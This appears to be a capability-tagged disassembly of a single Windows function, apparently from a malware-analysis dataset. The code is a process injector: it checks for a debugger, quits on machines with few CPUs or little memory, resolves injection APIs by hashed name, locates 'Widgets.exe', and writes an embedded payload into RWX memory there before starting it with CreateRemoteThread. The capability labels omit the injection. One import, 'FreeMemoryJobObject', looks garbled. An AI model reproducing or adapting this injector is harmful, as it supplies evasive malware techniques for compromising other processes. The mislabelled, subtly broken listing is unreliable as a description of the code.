Function at 0x1400112ee
Capabilities:
Create thread
Get memory capacity
Get system information on windows

Disassembly:
jmp 0x1400126c0
push rbp
push rdi
sub rsp, 0x6d8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x116
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f180]
xor rax, rbp
mov qword [rbp + 0x688], rax
lea rcx, [0x1400250f5]
call fcn.14001141f
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14001271a
lea rdx, str.hello_world
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x28], 2
jae 0x140012744
mov eax, 1
jmp 0x140012a67
mov dword [rbp + 0x60], 0x40
mov eax, dword [rbp + 0x60]
mov dword [rbp + 0x60], eax
lea rax, [rbp + 0x64]
mov rdi, rax
xor eax, eax
mov ecx, 0x3c
rep stosb byte [rdi], al
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x140012783
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_t____GlobalMemoryStatusEx_Failed_With_Error_:__d__n
call fcn.1400111f4
cmp dword [rbp + 0x68], 0x80000000
ja 0x140012796
mov eax, 1
jmp 0x140012a67
lea rcx, str.WriteProcessMemory
call fcn.14001118b
mov dword [rbp + 0x684], eax
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [rbp + 0x684]
mov edx, ecx
mov rcx, rax
call fcn.1400113d4
mov qword [rbp + 0x318], rax
lea rcx, str.OpenProcess
call fcn.14001118b
mov dword [rbp + 0x684], eax
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [rbp + 0x684]
mov edx, ecx
mov rcx, rax
call fcn.1400113d4
mov qword [rbp + 0x338], rax
lea rcx, str.CreateToolhelp32Snapshot
call fcn.14001118b
mov dword [rbp + 0x684], eax
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [rbp + 0x684]
mov edx, ecx
mov rcx, rax
call fcn.1400113d4
mov qword [rbp + 0x358], rax
lea rcx, str.Process32FirstW
call fcn.14001118b
mov dword [rbp + 0x684], eax
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [rbp + 0x684]
mov edx, ecx
mov rcx, rax
call fcn.1400113d4
mov qword [rbp + 0x378], rax
lea rcx, str.Process32NextW
call fcn.14001118b
mov dword [rbp + 0x684], eax
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [rbp + 0x684]
mov edx, ecx
mov rcx, rax
call fcn.1400113d4
mov qword [rbp + 0x398], rax
lea rcx, str.VirtualAllocEx
call fcn.14001118b
mov dword [rbp + 0x684], eax
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [rbp + 0x684]
mov edx, ecx
mov rcx, rax
call fcn.1400113d4
mov qword [rbp + 0x3b8], rax
xor edx, edx
mov ecx, 0xf
call qword [rbp + 0x358]
mov qword [rbp + 0x3d8], rax
cmp qword [rbp + 0x3d8], 0xffffffffffffffff
jne 0x140012902
mov eax, 1
jmp 0x140012a67
mov dword [rbp + 0xc0], 0x238
lea rdx, [rbp + 0xc0]
mov rcx, qword [rbp + 0x3d8]
call qword [rbp + 0x378]
test eax, eax
jne 0x140012933
mov eax, 1
jmp 0x140012a67
lea rdx, str.Widgets.exe
lea rcx, [rbp + 0xec]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140012a45
mov r8d, dword [rbp + 0xc8]
xor edx, edx
mov ecx, 0x1fffff
call qword [rbp + 0x338]
mov qword [rbp + 0x3f8], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x12c
xor edx, edx
mov rcx, qword [rbp + 0x3f8]
call qword [rbp + 0x3b8]
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0x418], 0
jne 0x1400129a8
mov eax, 1
jmp 0x140012a67
mov qword [rsp + 0x20], 0
mov r9d, 0x12c
lea r8, [0x14001f010]
mov rdx, qword [rbp + 0x418]
mov rcx, qword [rbp + 0x3f8]
call qword [rbp + 0x318]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x418]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x438], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.KERNEL32.dll_FreeMemoryJobObject]
lea rdx, [rbp + 0xc0]
mov rcx, qword [rbp + 0x3d8]
call qword [rbp + 0x398]
test eax, eax
jne 0x140012933
jmp 0x140012a65
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001bda0]
call fcn.14001139d
mov rax, rdi
mov rcx, qword [rbp + 0x688]
xor rcx, rbp
call fcn.14001120d
lea rsp, [rbp + 0x698]
pop rdi
pop rbp
ret